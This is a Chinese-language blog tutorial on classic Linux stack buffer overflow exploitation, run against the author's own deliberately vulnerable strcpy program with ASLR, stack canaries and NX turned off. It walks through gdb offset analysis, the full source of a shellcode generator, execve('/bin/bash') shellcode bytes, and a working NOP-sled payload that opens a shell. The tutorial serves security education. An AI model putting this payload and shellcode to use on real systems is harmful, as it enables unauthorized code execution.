转自:http://blog.csdn.net/wangxiaolong_china/article/details/6844415
版权声明:本文为博主原创文章,未经博主允许不得转载。
转载请注明出处:http://blog.csdn.net/wangxiaolong_china
1.1 Linux栈溢出保护机制
基本的栈溢出攻击,是最早产生的一种缓冲区溢出攻击方法,它是所有其他缓冲区溢出攻击的基础。但是,由于这种攻击方法产生的时间比较长,故而GCC编译器、Linux操作系统提供了一些机制来阻止这种攻击方法对系统产生危害。下面首先了解一下现有的用于保护堆栈的机制以及关闭相应保护机制的方法,为进一步分析基本栈溢出提供了良好的实验环境。
1. 内存地址随机化机制
在Ubuntu和其他基于linux内核的系统中,目前都采用内存地址随机化的机制来初始化堆栈,这将会使得猜测具体的内存地址变得十分困难。
关闭内存地址随机化机制的方法是:
sysctl –w kernel.randomize_va_space=0
2. 可执行程序的屏蔽保护机制
对于Federal系统,默认会执行可执行程序的屏蔽保护机制,该机制不允许执行存储在栈中的代码,这会使得缓冲区溢出攻击变得无效。而Ubuntu系统中默认没有采用这种机制。
关闭可执行程序的屏蔽保护机制的方法是:
sysctl –w kernel.exec-shield=0
3. gcc编译器gs验证码机制
gcc编译器专门为防止缓冲区溢出而采取的保护措施,具体方法是gcc首先在缓冲区被写入之前在buf的结束地址之后返回地址之前放入随机的gs验证码,并在缓冲区写入操作结束时检验该值。通常缓冲区溢出会从低地址到高地址覆写内存,所以如果要覆写返回地址,则需要覆写该gs验证码。这样就可以通过比较写入前和写入后gs验证码的数据,判断是否产生溢出。
关闭gcc编译器gs验证码机制的方法是:
在gcc编译时采用-fno-stack-protector选项。
4. ld链接器堆栈段不可执行机制
ld链接器在链接程序的时候,如果所有的.o文件的堆栈段都标记为不可执行,那么整个库的堆栈段才会被标记为不可执行;相反,即使只有一个.0文件的堆栈段被标记为可执行,那么整个库的堆栈段将被标记为可执行。检查堆栈段可执行性的方法是:
如果是检查ELF库:readelf -lW $BIN | grep GNU_STACK查看是否有E标记
如果是检查生成的.o文件:scanelf -e $BIN查看是否有X标记
ld链接器如果将堆栈段标记为不可执行,即使控制了eip产生了跳转,依然会产生段错误。
关闭ld链接器不可执行机制的方法是:
在gcc编译时采用-z execstack选项。
1.1 基本栈溢出攻击原理及实验
下面,将用一个栈溢出攻击的例子的方式,来详细的讲解基本的栈溢出攻击的详细方法步骤。
在进行试验之前,先利用上面讲解的方法,将相应的栈保护机制关闭掉。
[cpp] view plain copy print?
- root@linux:~/pentest# sysctl -w kernel.randomize_va_space=0
- kernel.randomize_va_space = 0
- root@linux:~/pentest# sysctl -w kernel.exec-shield=0
- error: "kernel.exec-shield" is an unknown key
代码如下:
[cpp] view plain copy print?
- root@linux:~/pentest# cat vulnerable.c
- #include <stdio.h>
- #include <string.h>
- int main(int argc, char **argv) {
- char buffer[500];
- strcpy(buffer, argv[1]);
- return 0;
- }
编译源码:
[cpp] view plain copy print?
- root@linux:~/pentest# gcc -fno-stack-protector -z execstack -g -o vulnerable vulnerable.c
用gdb调试该程序:
[cpp] view plain copy print?
- root@linux:~/pentest# gdb vulnerable
- GNU gdb (Ubuntu/Linaro 7.2-1ubuntu11) 7.2
- Copyright (C) 2010 Free Software Foundation, Inc.
- License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
- This is free software: you are free to change and redistribute it.
- There is NO WARRANTY, to the extent permitted by law. Type "show copying"
- and "show warranty" for details.
- This GDB was configured as "i686-linux-gnu".
- For bug reporting instructions, please see:
- <http://www.gnu.org/software/gdb/bugs/>...
- Reading symbols from /root/pentest/vulnerable...done.
- (gdb) disass main
- Dump of assembler code for function main:
- 0x080483c4 <+0>: push %ebp
- 0x080483c5 <+1>: mov %esp,%ebp
- 0x080483c7 <+3>: and {1}xfffffff0,%esp
- 0x080483ca <+6>: sub {1}x210,%esp
- 0x080483d0 <+12>: mov 0xc(%ebp),%eax
- 0x080483d3 <+15>: add {1}x4,%eax
- 0x080483d6 <+18>: mov (%eax),%eax
- 0x080483d8 <+20>: mov %eax,0x4(%esp)
- 0x080483dc <+24>: lea 0x1c(%esp),%eax
- 0x080483e0 <+28>: mov %eax,(%esp)
- 0x080483e3 <+31>: call 0x80482f4 <strcpy@plt>
- 0x080483e8 <+36>: mov {1}x0,%eax
- 0x080483ed <+41>: leave
- 0x080483ee <+42>: ret
- End of assembler dump.
- (gdb)
此时在调用strcpy之前,main函数栈帧结构分析如下图所示:
根据此时的栈帧分布可知,要想控制eip的值,就必须往buffer[500]中至少填入508B的内容。
接下来我们继续用gdb调试:
[cpp] view plain copy print?
- (gdb) b *main+41
- Breakpoint 1 at 0x80483ed: file vulnerable.c, line 11.
- (gdb) r `perl -e 'print "\x41"x508'`
- Starting program: /root/pentest/vulnerable `perl -e 'print "\x41"x508'`
- Breakpoint 1, main (argc=2, argv=0xbffff264) at vulnerable.c:11
- 11 }
- (gdb) c
- Continuing.
- Program exited normally.
- (gdb)
往buffer中填入508个字符的内容,程序正常结束并退出。这说明栈并没有溢出,填入数据量太少。可是,正如上文中我们分析的那样,程序理论上栈溢出确实需要508个字符就可以了。问题出在哪里呢?重新分析代码和反汇编之后的代码,我们不难发现,问题产生的原因在于“0x080483c7 <+3>: and $0xfffffff0,%esp”这条语句。下面我们将继续用gdb调试,分析一下该语句如何影响我们的溢出的。
[cpp] view plain copy print?
- (gdb) disass main
- Dump of assembler code for function main:
- 0x080483c4 <+0>: push %ebp
- 0x080483c5 <+1>: mov %esp,%ebp
- 0x080483c7 <+3>: and {1}xfffffff0,%esp
- 0x080483ca <+6>: sub {1}x210,%esp
- 0x080483d0 <+12>: mov 0xc(%ebp),%eax
- 0x080483d3 <+15>: add {1}x4,%eax
- 0x080483d6 <+18>: mov (%eax),%eax
- 0x080483d8 <+20>: mov %eax,0x4(%esp)
- 0x080483dc <+24>: lea 0x1c(%esp),%eax
- 0x080483e0 <+28>: mov %eax,(%esp)
- 0x080483e3 <+31>: call 0x80482f4 <strcpy@plt>
- 0x080483e8 <+36>: mov {1}x0,%eax
- 0x080483ed <+41>: leave
- 0x080483ee <+42>: ret
- End of assembler dump.
- (gdb) b *main+3
- Breakpoint 2 at 0x80483c7: file vulnerable.c, line 4.
- (gdb) b *main+6
- Breakpoint 3 at 0x80483ca: file vulnerable.c, line 4.
- (gdb) r `perl -e 'print "\x41"x508'`
- Starting program: /root/pentest/vulnerable `perl -e 'print "\x41"x508'`
- Breakpoint 2, 0x080483c7 in main (argc=2, argv=0xbffff264) at vulnerable.c:4
- 4 int main(int argc, char **argv) {
- (gdb) i r esp
- esp 0xbffff1b8 0xbffff1b8
- (gdb) c
- Continuing.
- Breakpoint 3, 0x080483ca in main (argc=2, argv=0xbffff264) at vulnerable.c:4
- 4 int main(int argc, char **argv) {
- (gdb) i r esp
- esp 0xbffff1b0 0xbffff1b0
- (gdb)
通过调试可以看到,在执行“0x080483c7 <+3>: and $0xfffffff0,%esp”语句之前,esp的值是“0xbffff1b8”,在执行完该语句之后,esp的值是“0xbffff1b0”。故esp的值减少了8,也就是说,要想控制eip的值,还需要多填入8个字,即需要516个字符来填充buffer。
[cpp] view plain copy print?
- (gdb) r `perl -e 'print "\x41"x516'`
- Starting program: /root/pentest/vulnerable `perl -e 'print "\x41"x516'`
- Program received signal SIGSEGV, Segmentation fault.
- 0x41414141 in ?? ()
- (gdb)
可以看到溢出成功!
下面我们用gdb调试,看一些溢出的过程,具体分析就不写了,相信熟悉gdb的话对这些调试信息会一目了然的:
[cpp] view plain copy print?
- (gdb) b *main+41
- Breakpoint 1 at 0x80483ed: file vulnerable.c, line 11.
- (gdb) r `perl -e 'print "\x41"x516'`
- Starting program: /root/pentest/vulnerable `perl -e 'print "\x41"x516'`
- Breakpoint 1, main (argc=0, argv=0xbffff254) at vulnerable.c:11
- 11 }
- (gdb) i r ebp
- ebp 0xbffff1a8 0xbffff1a8
- (gdb) i r esp
- esp 0xbfffef90 0xbfffef90
- (gdb) i r eip
- eip 0x80483ed 0x80483ed <main+41>
- (gdb) x/550bx $esp
- 0xbfffef90: 0xac 0xef 0xff 0xbf 0xf6 0xf3 0xff 0xbf
- 0xbfffef98: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
- 0xbfffefa0: 0xa4 0xf0 0xff 0xbf 0x08 0x00 0x00 0x00
- 0xbfffefa8: 0x3c 0xd5 0x12 0x00 0x41 0x41 0x41 0x41
- 0xbfffefb0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
- 0xbfffefb8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
- 0xbfffefc0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
- 0xbfffefc8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
- 0xbfffefd0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
- 0xbfffefd8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
- ………………………………………………………………………………………………
- 0xbffff198: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
- 0xbffff1a0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
- 0xbffff1a8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
- 0xbffff1b0: 0x00 0x00 0x00 0x00 0x54 0xf2
- (gdb)
- (gdb) stepi
- 0x080483ee in main (argc=0, argv=0xbffff254) at vulnerable.c:11
- 11 }
- (gdb) i r ebp
- ebp 0x41414141 0x41414141
- (gdb) i r esp
- esp 0xbffff1ac 0xbffff1ac
- (gdb) i r eip
- eip 0x80483ee 0x80483ee <main+42>
- (gdb) x/10bx $esp
- 0xbffff1ac: 0x41 0x41 0x41 0x41 0x00 0x00 0x00 0x00
- 0xbffff1b4: 0x54 0xf2
- (gdb) stepi
- 0x41414141 in ?? ()
- (gdb) i r eip
- eip 0x41414141 0x41414141
- (gdb)
既然我们已经找到eip返回地址的位置,那么就可以覆写返回地址,控制程序的执行流程。
接下来,首先需要一段shellcode,关于如何编写shellcode的问题,我们留到下一节讲解,这一节中我们使用一个从网上找到的shellcode生成程序来生成一段shellcode。Shellcode生成程序源码为:
[cpp] view plain copy print?
- /*
- [] Shellcode Generator null byte free. []
- [] Author: certaindeath []
- [] Site: certaindeath.netii.net (at the moment under construction) []
- [] This program generates a shellcode which uses the stack to store the command (and its arguments). []
- [] Afterwords it executes the command with the system call "execve". []
- [] The code is a bit knotty, so if you want to understand how it works, I've added an example of assembly at the end. []
- */
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <unistd.h>
- #include <linux/types.h>
- #define SETRUID 0 //set this to 1 if you want the shellcode to do setreuid(0,0) before the shell command
- void print_c(__u8*,int);
- void push_shc(__u8*, char*, int*);
- int main(int argc, char *argv[]){
- char cmd[255], *a;
- FILE *c;
- int k=0, totl=(SETRUID ? 32:22), b,b1, i, tmp=0, shp=2;
- __u8 *shc,start[2]={0x31,0xc0}, end[16]={0xb0,0x0b,0x89,0xf3,0x89,0xe1,0x31,0xd2,0xcd,0x80,0xb0,0x01,0x31,0xdb,0xcd,0x80}, struid[10]={0xb0,0x46,0x31,0xdb,0x31,0xc9,0xcd,0x80,0x31,0xc0};
- if(argc<2){
- printf(" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n"
- "| Shellcode Generator |\n"
- "| by certaindeath |\n"
- "| |\n"
- "| Usage: ./generator <cmd> |\n"
- " ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n");
- _exit(1);
- }
- a=(char *)malloc((9+strlen(argv[1]))*sizeof(char));
- //find the command path
- a[0]=0;
- strcat(a, "whereis ");
- strcat(a, argv[1]);
- c=popen(a, "r");
- while(((cmd[0]=fgetc(c))!=' ')&&(!feof(c)));
- while(((cmd[k++]=fgetc(c))!=' ')&&(!feof(c)));
- cmd[--k]=0;
- if(k==0){
- printf("No executables found for the command \"%s\".\n", argv[1]);
- _exit(1);
- }
- if(strlen(cmd)>254){
- printf("The lenght of the command path can't be over 254 bye.\n");
- _exit(1);
- }
- for(i=2;i<argc;i++)
- if(strlen(argv[i])>254){
- printf("The lenght of each command argument can't be over 254 byte.\n");
- _exit(1);
- }
- //work out the final shellcode lenght
- b=(k%2);
- b1=(b==1) ? (((k-1)/2)%2) : ((k/2)%2);
- totl+=(6+5*((k-(k%4))/4)+4*b1+7*b);
- for(i=2; i<argc;i++){
- k=strlen(argv[i]);
- b=(k%2);
- b1=(b==1) ? (((k-1)/2)%2) : ((k/2)%2);
- totl+=(6+5*((k-(k%4))/4)+4*b1+7*b);
- }
- totl+=4*(argc-2);
- printf("Shellcode lenght: %i\n", totl);
- //build the shellcode
- shc=(__u8 *)malloc((totl+1)*sizeof(__u8));
- memcpy(shc, start, 2);
- if(SETRUID){
- memcpy(shc+shp, struid, 10);
- shp+=10;
- }
- if(argc>2)
- push_shc(shc, argv[argc-1], &shp);
- else
- push_shc(shc, cmd, &shp);
- memset(shc+(shp++), 0x89, 1);
- memset(shc+(shp++), 0xe6, 1);
- if(argc>2){
- for(i=argc-2;i>1;i--)
- push_shc(shc, argv[i], &shp);
- push_shc(shc, cmd, &shp);
- }
- memset(shc+(shp++), 0x50, 1);
- memset(shc+(shp++), 0x56, 1);
- if(argc>2){
- for(i=argc-2;i>1;i--){
- memset(shc+(shp++), 0x83, 1);
- memset(shc+(shp++), 0xee, 1);
- memset(shc+(shp++), strlen(argv[i])+1, 1);
- memset(shc+(shp++), 0x56, 1);
- }
- memset(shc+(shp++), 0x83, 1);
- memset(shc+(shp++), 0xee, 1);
- memset(shc+(shp++), strlen(cmd)+1, 1);
- memset(shc+(shp++), 0x56, 1);
- }
- memcpy(shc+shp, end, 16);
- print_c(shc,totl);
- return 0;
- }
- void print_c(__u8 *s,int l){
- int k;
- for(k=0;k<l;k++){
- printf("\\x%.2x", s[k]);
- if(((k+1)%8)==0) printf("\n");
- }
- printf("\n");
- }
- void push_shc(__u8 *out, char *str, int *sp){
- int i=strlen(str), k, b, b1, tmp=i;
- __u8 pushb_0[6]={0x83,0xec,0x01,0x88,0x04,0x24},pushb[6]={0x83,0xec,0x01,0xc6,0x04,0x24};
- memcpy(out+(*sp), pushb_0, 6);
- *sp+=6;
- for(k=0;k<((i-(i%4))/4);k++){
- memset(out+((*sp)++), 0x68, 1);
- tmp-=4;
- memcpy(out+(*sp), str+tmp, 4);
- *sp+=4;
- }
- b=(i%2);
- b1=(b==1) ? (((i-1)/2)%2) : ((i/2)%2);
- if(b1){
- memset(out+((*sp)++), 0x66, 1);
- memset(out+((*sp)++), 0x68, 1);
- tmp-=2;
- memcpy(out+(*sp), str+tmp, 2);
- *sp+=2;
- }
- if(b){
- memcpy(out+(*sp), pushb, 6);
- *sp+=6;
- memcpy(out+((*sp)++), str+(--tmp), 1);
- }
- }
- /*
- Here is the assembly code of a shellcode which executes the command "ls -l /dev".
- This is the method used by the shellcode generator.
- .global _start
- _start:
- xorl %eax, %eax ;clear eax
- subl $1, %esp ; "/dev" pushed into the stack with a null byte at the end
- movb %al, (%esp)
- push {1}x7665642f
- movl %esp, %esi ;esp(address of "/dev") is saved in esi
- subl $1, %esp ;"-l" pushed into the stack with a null byte at the end
- movb %al, (%esp)
- pushw {1}x6c2d
- subl $1, %esp ;"/bin/ls" pushed into the stack with a null byte at the end
- movb %al, (%esp)
- push {1}x736c2f6e
- pushw {1}x6962
- subl $1, %esp
- movb {1}x2f, (%esp)
- ;now the vector {"/bin/ls", "-l", "/dev", NULL} will be created into the stack
- push %eax ;the NULL pointer pushed into the stack
- push %esi ;the address of "/dev" pushed into the stack
- subl $3, %esi ;the lenght of "-l"(with a null byte) is subtracted from the address of "/dev"
- push %esi ;to find the address of "-l" and then push it into the stack
- subl $8, %esi ;the same thing is done with the address of "/bin/ls"
- push %esi
- movb $11, %al ;finally the system call execve("/bin/ls", {"/bin/ls", "-l", "/dev", NULL}, 0)
- movl %esi, %ebx ;is executed
- movl %esp, %ecx
- xor %edx, %edx
- int {1}x80
- movb $1, %al ;_exit(0);
- xor %ebx, %ebx
- int {1}x80
- */
使用方法是:
[cpp] view plain copy print?
- root@linux:~/pentest# gcc -o shellcode_generator shellcode_generator.c
- root@linux:~/pentest# ./shellcode_generator /bin/bash
- Shellcode lenght: 45
- \x31\xc0\x83\xec\x01\x88\x04\x24
- \x68\x62\x61\x73\x68\x68\x62\x69
- \x6e\x2f\x83\xec\x01\xc6\x04\x24
- \x2f\x89\xe6\x50\x56\xb0\x0b\x89
- \xf3\x89\xe1\x31\xd2\xcd\x80\xb0
- \x01\x31\xdb\xcd\x80
- root@linux:~/pentest#
现在,提供一种填充buffer覆写返回地址的方案(不唯一,只提供一种可行的方案):
#################################################################
“\x90” * 431 + shellcode(45) + shellcode地址(4字节) * 10 == 516B
#################################################################
其中,“\x90”代表NOP空指令,故shellcode地址可以替换为自buffer起始地址和shellcode起始地址之间的任意一个地址。
到目前为止,我们已经构造出了我们的溢出代码,如下:
[cpp] view plain copy print?
- (gdb) run `perl -e 'print
- "\x90"x431,"\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80","\xac\xef\xff\xbf"x10'`
- The program being debugged has beenstarted already.
- Start it from the beginning? (y or n)y
- Starting program:/root/pentest/vulnerable `perl -e 'print
- "\x90"x431,"\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x83\xec\x01\xc6
- \x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80",
- "\xac\xef\xff\xbf"x10'`
- process3724 is executing new program: /bin/bash
- root@linux:/root/pentest# exit
- exit
- Program exited normally.
- (gdb)
可以看到,我们的溢出代码成功的执行了shellcode,并获得了相应的shell。
到此为止,栈溢出攻击成功。
附:由于%gs验证码的存在,在开启%gs校验时,上面的方案只能在gdb调试环境下成功完成栈溢出。